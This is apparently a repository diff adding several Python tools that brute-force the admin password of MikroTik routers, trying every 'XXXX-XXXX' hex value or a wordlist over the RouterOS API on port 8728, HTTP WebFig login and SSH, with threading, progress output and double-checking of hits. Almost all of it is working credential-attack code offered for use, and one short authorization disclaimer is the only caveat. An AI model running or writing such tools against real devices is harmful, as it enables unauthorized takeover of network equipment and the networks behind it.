sock.settimeout(2) # Reasonable timeout
|
||||||
|
sock.connect((self.host, self.port))
|
||||||
|
|
||||||
|
def encode_length(length):
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
else:
|
||||||
|
return bytes([0xFF])
|
||||||
|
|
||||||
|
def write_word(word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
sock.send(encode_length(len(word_bytes)))
|
||||||
|
sock.send(word_bytes)
|
||||||
|
|
||||||
|
def write_sentence(words):
|
||||||
|
for word in words:
|
||||||
|
write_word(word)
|
||||||
|
write_word("")
|
||||||
|
|
||||||
|
def read_word():
|
||||||
|
try:
|
||||||
|
length_byte = sock.recv(1)
|
||||||
|
if not length_byte:
|
||||||
|
return ""
|
||||||
|
length = length_byte[0]
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
if length & 0x80:
|
||||||
|
second_byte = sock.recv(1)
|
||||||
|
if not second_byte:
|
||||||
|
return ""
|
||||||
|
length = ((length & 0x7F) << 8) + second_byte[0]
|
||||||
|
|
||||||
|
if length > 500: # Sanity check
|
||||||
|
return ""
|
||||||
|
|
||||||
|
return sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_sentence():
|
||||||
|
sentence = []
|
||||||
|
tries = 0
|
||||||
|
while tries < 10: # Limit attempts
|
||||||
|
word = read_word()
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
tries += 1
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
# Send login
|
||||||
|
write_sentence(["/login", f"=name={self.username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response with timeout
|
||||||
|
sock.settimeout(1) # Shorter timeout for response
|
||||||
|
response = read_sentence()
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
# Reliable success detection
|
||||||
|
if response and len(response) > 0:
|
||||||
|
if response[0] == "!done":
|
||||||
|
return True
|
||||||
|
elif response[0] == "!trap":
|
||||||
|
# Check for specific error message
|
||||||
|
for item in response:
|
||||||
|
if "invalid user name or password" in item.lower():
|
||||||
|
return False
|
||||||
|
return False
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def verify_password(self, password):
|
||||||
|
"""Double-check a potential password with multiple methods"""
|
||||||
|
print(f"\nVerifying potential password: {password}")
|
||||||
|
|
||||||
|
# Test API multiple times
|
||||||
|
api_results = []
|
||||||
|
for i in range(3):
|
||||||
|
result = self.reliable_api_test(password)
|
||||||
|
api_results.append(result)
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
api_success = sum(api_results) >= 2 # Majority vote
|
||||||
|
|
||||||
|
# Test SSH as secondary verification
|
||||||
|
ssh_success = False
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
self.host,
|
||||||
|
port=22,
|
||||||
|
username=self.username,
|
||||||
|
password=password,
|
||||||
|
timeout=3,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
# Try to execute a command
|
||||||
|
stdin, stdout, stderr = client.exec_command("/system identity print", timeout=2)
|
||||||
|
output = stdout.read().decode()
|
||||||
|
client.close()
|
||||||
|
ssh_success = len(output) > 5 # Got some output
|
||||||
|
except Exception:
|
||||||
|
ssh_success = False
|
||||||
|
|
||||||
|
print(f" API results: {api_results} (success: {api_success})")
|
||||||
|
print(f" SSH result: {ssh_success}")
|
||||||
|
|
||||||
|
# Require both API and SSH success for verification
|
||||||
|
return api_success and ssh_success
|
||||||
|
|
||||||
|
def batch_worker(self, start_val, batch_size):
|
||||||
|
"""Process a batch of passwords"""
|
||||||
|
local_attempts = 0
|
||||||
|
|
||||||
|
for i in range(batch_size):
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
break
|
||||||
|
|
||||||
|
value = start_val + i
|
||||||
|
if value > 0xFFFFFFFF:
|
||||||
|
break
|
||||||
|
|
||||||
|
hex_str = f"{value:08x}"
|
||||||
|
password = f"{hex_str[:4]}-{hex_str[4:]}"
|
||||||
|
|
||||||
|
local_attempts += 1
|
||||||
|
|
||||||
|
if self.reliable_api_test(password):
|
||||||
|
# Potential match - verify it thoroughly
|
||||||
|
if self.verify_password(password):
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += local_attempts
|
||||||
|
print(f"\n*** VERIFIED PASSWORD FOUND: {password} ***")
|
||||||
|
self.found_password = password
|
||||||
|
self.stop_flag.set()
|
||||||
|
return True
|
||||||
|
else:
|
||||||
|
print(f" False positive rejected: {password}")
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += local_attempts
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_reliable_fast(self, max_workers=8, batch_size=50, start_from=0):
|
||||||
|
"""Run reliable fast brute force"""
|
||||||
|
print(f"Reliable Fast MikroTik Brute Force")
|
||||||
|
print(f"Host: {self.host}")
|
||||||
|
print(f"Workers: {max_workers}")
|
||||||
|
print(f"Batch size: {batch_size}")
|
||||||
|
print(f"Starting from: 0x{start_from:08x}")
|
||||||
|
print("Features: Double verification, false positive rejection")
|
||||||
|
print("=" * 70)
|
||||||
|
|
||||||
|
self.start_time = time.time()
|
||||||
|
|
||||||
|
# Progress reporter
|
||||||
|
def progress_reporter():
|
||||||
|
last_attempts = 0
|
||||||
|
while not self.stop_flag.is_set():
|
||||||
|
time.sleep(5) # Report every 5 seconds
|
||||||
|
with self.lock:
|
||||||
|
current_attempts = self.attempts
|
||||||
|
|
||||||
|
if current_attempts > 0:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = current_attempts / elapsed
|
||||||
|
recent_rate = (current_attempts - last_attempts) / 5
|
||||||
|
current_value = start_from + current_attempts
|
||||||
|
hex_val = f"{current_value:08x}"
|
||||||
|
password = f"{hex_val[:4]}-{hex_val[4:]}"
|
||||||
|
|
||||||
|
print(f"[*] {current_attempts:,} attempts ({rate:.0f}/sec avg, {recent_rate:.0f}/sec recent)")
|
||||||
|
print(f" Current: {password} (0x{current_value:08x})")
|
||||||
|
|
||||||
|
last_attempts = current_attempts
|
||||||
|
|
||||||
|
progress_thread = threading.Thread(target=progress_reporter, daemon=True)
|
||||||
|
progress_thread.start()
|
||||||
|
|
||||||
|
# Submit work in batches
|
||||||
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||||
|
futures = []
|
||||||
|
current_val = start_from
|
||||||
|
|
||||||
|
# Submit initial work
|
||||||
|
for _ in range(max_workers * 2):
|
||||||
|
if current_val > 0xFFFFFFFF:
|
||||||
|
break
|
||||||
|
future = executor.submit(self.batch_worker, current_val, batch_size)
|
||||||
|
futures.append(future)
|
||||||
|
current_val += batch_size
|
||||||
|
|
||||||
|
# Process results and submit more work
|
||||||
|
while futures and not self.stop_flag.is_set():
|
||||||
|
completed = []
|
||||||
|
for future in futures:
|
||||||
|
if future.done():
|
||||||
|
completed.append(future)
|
||||||
|
try:
|
||||||
|
if future.result(): # Found password
|
||||||
|
self.stop_flag.set()
|
||||||
|
break
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Worker error: {e}")
|
||||||
|
|
||||||
|
# Remove completed futures
|
||||||
|
for future in completed:
|
||||||
|
futures.remove(future)
|
||||||
|
|
||||||
|
# Submit more work
|
||||||
|
while len(futures) < max_workers and current_val <= 0xFFFFFFFF and not self.stop_flag.is_set():
|
||||||
|
future = executor.submit(self.batch_worker, current_val, batch_size)
|
||||||
|
futures.append(future)
|
||||||
|
current_val += batch_size
|
||||||
|
|
||||||
|
time.sleep(0.1)
|
||||||
|
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||||
|
|
||||||
|
print(f"\nCompleted: {self.attempts:,} attempts in {elapsed:.1f}s ({rate:.0f}/sec)")
|
||||||
|
return self.found_password
|
||||||
|
|
||||||
|
def main():
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python3 mikrotik_reliable_fast.py <HOST> [workers] [start_hex]")
|
||||||
|
print("Examples:")
|
||||||
|
print(" python3 mikrotik_reliable_fast.py 10.250.2.2")
|
||||||
|
print(" python3 mikrotik_reliable_fast.py 10.250.2.2 16 0x00001000")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
workers = int(sys.argv[2]) if len(sys.argv) > 2 else 8
|
||||||
|
start_from = 0
|
||||||
|
|
||||||
|
if len(sys.argv) > 3:
|
||||||
|
start_hex = sys.argv[3]
|
||||||
|
start_from = int(start_hex, 16) if start_hex.startswith('0x') else int(start_hex)
|
||||||
|
|
||||||
|
attacker = ReliableFastBruteForce(host)
|
||||||
|
password = attacker.run_reliable_fast(
|
||||||
|
max_workers=workers,
|
||||||
|
batch_size=50,
|
||||||
|
start_from=start_from
|
||||||
|
)
|
||||||
|
|
||||||
|
if password:
|
||||||
|
print(f"\n✓ VERIFIED SUCCESS! Password: {password}")
|
||||||
|
print(f"You can now access the device with admin:{password}")
|
||||||
|
else:
|
||||||
|
print(f"\n✗ No password found in tested range")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
2246
mikrotik_wordlist.txt
Normal file
2246
mikrotik_wordlist.txt
Normal file
File diff suppressed because it is too large
Load diff
256
mikrotik_wordlist_attack.py
Normal file
256
mikrotik_wordlist_attack.py
Normal file
|
|
@ -0,0 +1,256 @@
|
||||||
|
#!/usr/bin/env python3
|
||||||
|
"""
|
||||||
|
Optimized MikroTik Password Attack using Wordlist
|
||||||
|
Tests passwords from generated wordlist using most efficient methods
|
||||||
|
"""
|
||||||
|
|
||||||
|
import time
|
||||||
|
import threading
|
||||||
|
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||||
|
import socket
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
|
||||||
|
class MikroTikWordlistAttack:
|
||||||
|
def __init__(self, host, wordlist_file="mikrotik_wordlist.txt"):
|
||||||
|
self.host = host
|
||||||
|
self.wordlist_file = wordlist_file
|
||||||
|
self.username = "admin"
|
||||||
|
self.found_password = None
|
||||||
|
self.attempts = 0
|
||||||
|
self.start_time = None
|
||||||
|
self.lock = threading.Lock()
|
||||||
|
self.stop_flag = threading.Event()
|
||||||
|
|
||||||
|
def load_wordlist(self):
|
||||||
|
"""Load passwords from wordlist file"""
|
||||||
|
try:
|
||||||
|
with open(self.wordlist_file, 'r') as f:
|
||||||
|
passwords = [line.strip() for line in f if line.strip()]
|
||||||
|
return passwords
|
||||||
|
except FileNotFoundError:
|
||||||
|
print(f"Error: Wordlist file '{self.wordlist_file}' not found")
|
||||||
|
print("Run 'python3 generate_mikrotik_wordlist.py' first")
|
||||||
|
return []
|
||||||
|
|
||||||
|
def test_api_connection(self, password, port=8728, timeout=3):
|
||||||
|
"""Test MikroTik API connection (most reliable method)"""
|
||||||
|
try:
|
||||||
|
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
sock.settimeout(timeout)
|
||||||
|
sock.connect((self.host, port))
|
||||||
|
|
||||||
|
# Send login command in MikroTik API format
|
||||||
|
def encode_length(length):
|
||||||
|
if length <= 0x7F:
|
||||||
|
return bytes([length])
|
||||||
|
elif length <= 0x3FFF:
|
||||||
|
return bytes([((length >> 8) & 0xFF) | 0x80, length & 0xFF])
|
||||||
|
return bytes([0xFF]) # Simplified for short strings
|
||||||
|
|
||||||
|
def write_word(sock, word):
|
||||||
|
word_bytes = word.encode('utf-8')
|
||||||
|
sock.send(encode_length(len(word_bytes)))
|
||||||
|
sock.send(word_bytes)
|
||||||
|
|
||||||
|
def write_sentence(sock, words):
|
||||||
|
for word in words:
|
||||||
|
write_word(sock, word)
|
||||||
|
write_word(sock, "")
|
||||||
|
|
||||||
|
def read_word(sock):
|
||||||
|
length_byte = sock.recv(1)
|
||||||
|
if not length_byte:
|
||||||
|
return ""
|
||||||
|
length = length_byte[0]
|
||||||
|
if length == 0:
|
||||||
|
return ""
|
||||||
|
if length & 0x80:
|
||||||
|
# Multi-byte length, simplified handling
|
||||||
|
length = length & 0x7F
|
||||||
|
if length > 50: # Sanity check
|
||||||
|
return ""
|
||||||
|
try:
|
||||||
|
return sock.recv(length).decode('utf-8', 'ignore')
|
||||||
|
except:
|
||||||
|
return ""
|
||||||
|
|
||||||
|
def read_sentence(sock):
|
||||||
|
sentence = []
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
word = read_word(sock)
|
||||||
|
if word == "":
|
||||||
|
break
|
||||||
|
sentence.append(word)
|
||||||
|
except:
|
||||||
|
pass
|
||||||
|
return sentence
|
||||||
|
|
||||||
|
# Send login
|
||||||
|
write_sentence(sock, ["/login", f"=name={self.username}", f"=password={password}"])
|
||||||
|
|
||||||
|
# Read response
|
||||||
|
sock.settimeout(2) # Shorter timeout for response
|
||||||
|
response = read_sentence(sock)
|
||||||
|
sock.close()
|
||||||
|
|
||||||
|
return response and len(response) > 0 and response[0] == "!done"
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_http_connection(self, password, timeout=3):
|
||||||
|
"""Test HTTP connection"""
|
||||||
|
try:
|
||||||
|
# Test if we can access a protected resource
|
||||||
|
response = requests.get(
|
||||||
|
f"http://{self.host}/webfig/",
|
||||||
|
auth=HTTPBasicAuth(self.username, password),
|
||||||
|
timeout=timeout,
|
||||||
|
allow_redirects=False
|
||||||
|
)
|
||||||
|
# Success if we don't get 401/403
|
||||||
|
return response.status_code not in [401, 403]
|
||||||
|
except:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_ssh_connection(self, password, timeout=3):
|
||||||
|
"""Test SSH connection"""
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
client.connect(
|
||||||
|
self.host,
|
||||||
|
port=22,
|
||||||
|
username=self.username,
|
||||||
|
password=password,
|
||||||
|
timeout=timeout,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def test_password(self, password):
|
||||||
|
"""Test a password using multiple methods"""
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
return False
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
current_attempts = self.attempts
|
||||||
|
|
||||||
|
# Progress reporting
|
||||||
|
if current_attempts % 10 == 0:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
rate = current_attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(f"[*] Attempt {current_attempts} ({rate:.1f} pwd/sec) - Testing: {password}")
|
||||||
|
|
||||||
|
# Test methods in order of reliability and speed
|
||||||
|
methods = [
|
||||||
|
("API", lambda: self.test_api_connection(password)),
|
||||||
|
("HTTP", lambda: self.test_http_connection(password)),
|
||||||
|
("SSH", lambda: self.test_ssh_connection(password)),
|
||||||
|
]
|
||||||
|
|
||||||
|
for method_name, test_func in methods:
|
||||||
|
try:
|
||||||
|
if test_func():
|
||||||
|
print(f"\n*** SUCCESS! ***")
|
||||||
|
print(f"Password found: {password}")
|
||||||
|
print(f"Method: {method_name}")
|
||||||
|
print(f"Host: {self.host}")
|
||||||
|
print(f"Username: {self.username}")
|
||||||
|
print(f"Total attempts: {current_attempts}")
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds")
|
||||||
|
self.found_password = password
|
||||||
|
self.stop_flag.set()
|
||||||
|
return True
|
||||||
|
except Exception as e:
|
||||||
|
# If one method fails, try the next
|
||||||
|
continue
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def run_attack(self, max_workers=4):
|
||||||
|
"""Run the wordlist attack"""
|
||||||
|
passwords = self.load_wordlist()
|
||||||
|
if not passwords:
|
||||||
|
return None
|
||||||
|
|
||||||
|
print(f"Starting wordlist attack against {self.host}")
|
||||||
|
print(f"Username: {self.username}")
|
||||||
|
print(f"Passwords to test: {len(passwords)}")
|
||||||
|
print(f"Concurrent threads: {max_workers}")
|
||||||
|
print("=" * 60)
|
||||||
|
|
||||||
|
self.start_time = time.time()
|
||||||
|
|
||||||
|
# Use ThreadPoolExecutor for controlled concurrency
|
||||||
|
with ThreadPoolExecutor(max_workers=max_workers) as executor:
|
||||||
|
# Submit all password tests
|
||||||
|
future_to_password = {
|
||||||
|
executor.submit(self.test_password, pwd): pwd
|
||||||
|
for pwd in passwords
|
||||||
|
}
|
||||||
|
|
||||||
|
# Process results as they complete
|
||||||
|
for future in as_completed(future_to_password):
|
||||||
|
if self.stop_flag.is_set():
|
||||||
|
# Cancel remaining tasks
|
||||||
|
for f in future_to_password:
|
||||||
|
f.cancel()
|
||||||
|
break
|
||||||
|
|
||||||
|
password = future_to_password[future]
|
||||||
|
try:
|
||||||
|
result = future.result()
|
||||||
|
if result:
|
||||||
|
return self.found_password
|
||||||
|
except Exception as e:
|
||||||
|
print(f"Error testing {password}: {e}")
|
||||||
|
|
||||||
|
if not self.found_password:
|
||||||
|
elapsed = time.time() - self.start_time
|
||||||
|
print(f"\nWordlist attack completed.")
|
||||||
|
print(f"Total attempts: {self.attempts}")
|
||||||
|
print(f"Time taken: {elapsed:.2f} seconds")
|
||||||
|
print(f"No password found in wordlist.")
|
||||||
|
print("\nNext steps:")
|
||||||
|
print("1. Try generating larger wordlist with more patterns")
|
||||||
|
print("2. Consider full brute force attack")
|
||||||
|
print("3. Hardware reset if device is accessible")
|
||||||
|
|
||||||
|
return self.found_password
|
||||||
|
|
||||||
|
def main():
|
||||||
|
import sys
|
||||||
|
|
||||||
|
if len(sys.argv) < 2:
|
||||||
|
print("Usage: python3 mikrotik_wordlist_attack.py <HOST> [threads]")
|
||||||
|
print("Example: python3 mikrotik_wordlist_attack.py 10.250.2.2 8")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
host = sys.argv[1]
|
||||||
|
threads = int(sys.argv[2]) if len(sys.argv) > 2 else 4
|
||||||
|
|
||||||
|
attacker = MikroTikWordlistAttack(host)
|
||||||
|
password = attacker.run_attack(max_workers=threads)
|
||||||
|
|
||||||
|
if password:
|
||||||
|
print(f"\n✓ Attack successful! Password: {password}")
|
||||||
|
sys.exit(0)
|
||||||
|
else:
|
||||||
|
print(f"\n✗ Attack failed. No password found.")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
main()
|
||||||
348
mikrotikbruteforce.py
Normal file
348
mikrotikbruteforce.py
Normal file
|
|
@ -0,0 +1,348 @@
|
||||||
|
"""
|
||||||
|
MikroTik RouterBoard Password Brute Force Tool
|
||||||
|
|
||||||
|
This tool attempts to find the admin password for a MikroTik device
|
||||||
|
by randomly generating and testing password combinations.
|
||||||
|
|
||||||
|
It tries all possible 4-byte hex combinations (in random order) which matches
|
||||||
|
the MikroTik password format "XXXX-XXXX".
|
||||||
|
|
||||||
|
USAGE: Only use on devices you own or have authorization to access.
|
||||||
|
Unauthorized access to computer systems is illegal.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import socket
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import random
|
||||||
|
import string
|
||||||
|
from threading import Thread, Lock
|
||||||
|
import queue
|
||||||
|
|
||||||
|
|
||||||
|
class MikroTikBruteForce:
|
||||||
|
"""Brute force MikroTik RouterBoard passwords."""
|
||||||
|
|
||||||
|
def __init__(self, host, port=22, timeout=5, use_http=False):
|
||||||
|
"""
|
||||||
|
Initialize the brute force tool.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
host (str): IP address of the device
|
||||||
|
port (int): Port to connect to (22 for SSH, 80 for HTTP)
|
||||||
|
timeout (int): Connection timeout in seconds
|
||||||
|
use_http (bool): Use HTTP instead of SSH
|
||||||
|
"""
|
||||||
|
self.host = host
|
||||||
|
self.port = port
|
||||||
|
self.timeout = timeout
|
||||||
|
self.use_http = use_http
|
||||||
|
self.username = "admin"
|
||||||
|
self.found_password = None
|
||||||
|
self.attempts = 0
|
||||||
|
self.lock = Lock()
|
||||||
|
|
||||||
|
def generate_random_passwords(self):
|
||||||
|
"""
|
||||||
|
Generate all possible 4-byte hex passwords in random order.
|
||||||
|
|
||||||
|
Yields passwords in the format "XXXX-XXXX" where X is a hex digit.
|
||||||
|
This covers all 65,536^2 possible combinations (4,294,967,296 passwords).
|
||||||
|
For practicality, we generate them randomly.
|
||||||
|
|
||||||
|
Yields:
|
||||||
|
str: A password in format "xxxx-xxxx"
|
||||||
|
"""
|
||||||
|
# Generate all possible 4-hex-digit combinations
|
||||||
|
hex_digits = string.hexdigits.lower()[:16] # 0-9, a-f
|
||||||
|
|
||||||
|
# Create all possible 8-digit hex strings
|
||||||
|
all_combinations = []
|
||||||
|
for i in range(0x10000): # 65536 combinations for first 4 digits
|
||||||
|
for j in range(0x10000): # 65536 combinations for last 4 digits
|
||||||
|
hex_str = f"{i:04x}{j:04x}"
|
||||||
|
all_combinations.append(hex_str)
|
||||||
|
|
||||||
|
# Randomize the order
|
||||||
|
random.shuffle(all_combinations)
|
||||||
|
|
||||||
|
for hex_str in all_combinations:
|
||||||
|
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
||||||
|
|
||||||
|
def generate_streaming_random_passwords(self):
|
||||||
|
"""
|
||||||
|
Generate random 4-byte hex passwords on-the-fly (infinite stream).
|
||||||
|
|
||||||
|
This is more memory efficient for large-scale brute forcing.
|
||||||
|
|
||||||
|
Yields:
|
||||||
|
str: A password in format "xxxx-xxxx"
|
||||||
|
"""
|
||||||
|
seen = set()
|
||||||
|
while len(seen) < 0x100000000: # 4,294,967,296 possible passwords
|
||||||
|
# Generate random 8-digit hex string
|
||||||
|
random_val1 = random.randint(0, 0xFFFF)
|
||||||
|
random_val2 = random.randint(0, 0xFFFF)
|
||||||
|
hex_str = f"{random_val1:04x}{random_val2:04x}"
|
||||||
|
|
||||||
|
if hex_str not in seen:
|
||||||
|
seen.add(hex_str)
|
||||||
|
yield f"{hex_str[:4]}-{hex_str[4:]}"
|
||||||
|
|
||||||
|
def try_password_ssh(self, password):
|
||||||
|
"""
|
||||||
|
Try connecting with SSH.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
password (str): Password to try
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if successful, False otherwise
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
import paramiko
|
||||||
|
except ImportError:
|
||||||
|
print("Error: paramiko not installed. Install with: pip install paramiko")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
client = paramiko.SSHClient()
|
||||||
|
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
||||||
|
|
||||||
|
client.connect(
|
||||||
|
self.host,
|
||||||
|
port=self.port,
|
||||||
|
username=self.username,
|
||||||
|
password=password,
|
||||||
|
timeout=self.timeout,
|
||||||
|
allow_agent=False,
|
||||||
|
look_for_keys=False,
|
||||||
|
)
|
||||||
|
client.close()
|
||||||
|
return True
|
||||||
|
except paramiko.AuthenticationException:
|
||||||
|
return False
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_password_http(self, password):
|
||||||
|
"""
|
||||||
|
Try connecting via HTTP (WebFig).
|
||||||
|
|
||||||
|
Args:
|
||||||
|
password (str): Password to try
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
bool: True if successful, False otherwise
|
||||||
|
"""
|
||||||
|
try:
|
||||||
|
import requests
|
||||||
|
from requests.auth import HTTPBasicAuth
|
||||||
|
except ImportError:
|
||||||
|
print("Error: requests not installed. Install with: pip install requests")
|
||||||
|
return False
|
||||||
|
|
||||||
|
try:
|
||||||
|
response = requests.get(
|
||||||
|
f"http://{self.host}:{self.port}/",
|
||||||
|
auth=HTTPBasicAuth(self.username, password),
|
||||||
|
timeout=self.timeout,
|
||||||
|
)
|
||||||
|
return response.status_code == 200
|
||||||
|
except Exception:
|
||||||
|
return False
|
||||||
|
|
||||||
|
def try_password(self, password):
|
||||||
|
"""Try a password using the configured method."""
|
||||||
|
if self.use_http:
|
||||||
|
return self.try_password_http(password)
|
||||||
|
else:
|
||||||
|
return self.try_password_ssh(password)
|
||||||
|
|
||||||
|
def brute_force(self, num_threads=1, memory_efficient=False):
|
||||||
|
"""
|
||||||
|
Brute force the password by trying random combinations.
|
||||||
|
|
||||||
|
Args:
|
||||||
|
num_threads (int): Number of concurrent threads to use
|
||||||
|
memory_efficient (bool): Use streaming random generation (memory efficient)
|
||||||
|
|
||||||
|
Returns:
|
||||||
|
str: Password if found, None otherwise
|
||||||
|
"""
|
||||||
|
print(f"[*] Starting brute force on {self.host}:{self.port}")
|
||||||
|
print(f"[*] Method: {'HTTP/WebFig' if self.use_http else 'SSH'}")
|
||||||
|
print(f"[*] Threads: {num_threads}")
|
||||||
|
print(f"[*] Memory efficient: {memory_efficient}")
|
||||||
|
print(f"[*] Trying random passwords in format 'xxxx-xxxx'")
|
||||||
|
print()
|
||||||
|
|
||||||
|
start_time = time.time()
|
||||||
|
|
||||||
|
if memory_efficient:
|
||||||
|
password_generator = self.generate_streaming_random_passwords()
|
||||||
|
else:
|
||||||
|
password_generator = self.generate_random_passwords()
|
||||||
|
|
||||||
|
if num_threads == 1:
|
||||||
|
return self._brute_force_single_thread(password_generator, start_time)
|
||||||
|
else:
|
||||||
|
return self._brute_force_multi_thread(password_generator, num_threads, start_time)
|
||||||
|
|
||||||
|
def _brute_force_single_thread(self, password_generator, start_time):
|
||||||
|
"""Single-threaded brute force."""
|
||||||
|
for password in password_generator:
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
|
||||||
|
if self.attempts % 100 == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(
|
||||||
|
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
||||||
|
f"Elapsed: {elapsed:.1f}s - Last tried: {password}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.try_password(password):
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
print()
|
||||||
|
print(f"[+] SUCCESS! Found password: {password}")
|
||||||
|
print(f"[+] Total attempts: {self.attempts}")
|
||||||
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||||
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||||
|
return password
|
||||||
|
|
||||||
|
print("[-] Brute force complete. Password not found.")
|
||||||
|
return None
|
||||||
|
|
||||||
|
def _brute_force_multi_thread(self, password_generator, num_threads, start_time):
|
||||||
|
"""Multi-threaded brute force."""
|
||||||
|
password_queue = queue.Queue(maxsize=1000)
|
||||||
|
result_queue = queue.Queue()
|
||||||
|
|
||||||
|
# Producer thread
|
||||||
|
def producer():
|
||||||
|
for password in password_generator:
|
||||||
|
if result_queue.empty(): # Stop if password found
|
||||||
|
password_queue.put(password)
|
||||||
|
|
||||||
|
# Worker threads
|
||||||
|
def worker():
|
||||||
|
while True:
|
||||||
|
try:
|
||||||
|
password = password_queue.get(timeout=1)
|
||||||
|
except queue.Empty:
|
||||||
|
break
|
||||||
|
|
||||||
|
with self.lock:
|
||||||
|
self.attempts += 1
|
||||||
|
|
||||||
|
if self.attempts % 100 == 0:
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
rate = self.attempts / elapsed if elapsed > 0 else 0
|
||||||
|
print(
|
||||||
|
f"[*] Attempt {self.attempts} ({rate:.1f} pwd/sec) - "
|
||||||
|
f"Last tried: {password}"
|
||||||
|
)
|
||||||
|
|
||||||
|
if self.try_password(password):
|
||||||
|
result_queue.put(password)
|
||||||
|
print()
|
||||||
|
print(f"[+] SUCCESS! Found password: {password}")
|
||||||
|
return
|
||||||
|
|
||||||
|
password_queue.task_done()
|
||||||
|
|
||||||
|
# Start threads
|
||||||
|
producer_thread = Thread(target=producer, daemon=True)
|
||||||
|
producer_thread.start()
|
||||||
|
|
||||||
|
worker_threads = [Thread(target=worker, daemon=True) for _ in range(num_threads)]
|
||||||
|
for thread in worker_threads:
|
||||||
|
thread.start()
|
||||||
|
|
||||||
|
# Wait for result or completion
|
||||||
|
producer_thread.join(timeout=3600)
|
||||||
|
for thread in worker_threads:
|
||||||
|
thread.join(timeout=10)
|
||||||
|
|
||||||
|
if not result_queue.empty():
|
||||||
|
password = result_queue.get()
|
||||||
|
elapsed = time.time() - start_time
|
||||||
|
print(f"[+] Total attempts: {self.attempts}")
|
||||||
|
print(f"[+] Time elapsed: {elapsed:.2f} seconds")
|
||||||
|
print(f"[+] Rate: {self.attempts/elapsed:.1f} passwords/second")
|
||||||
|
return password
|
||||||
|
|
||||||
|
print("[-] Brute force complete. Password not found.")
|
||||||
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
"""Main entry point."""
|
||||||
|
print("MikroTik RouterBoard Password Brute Force Tool")
|
||||||
|
print("=" * 55)
|
||||||
|
print()
|
||||||
|
print("⚠️ WARNING: Only use on devices you own or have authorization to access.")
|
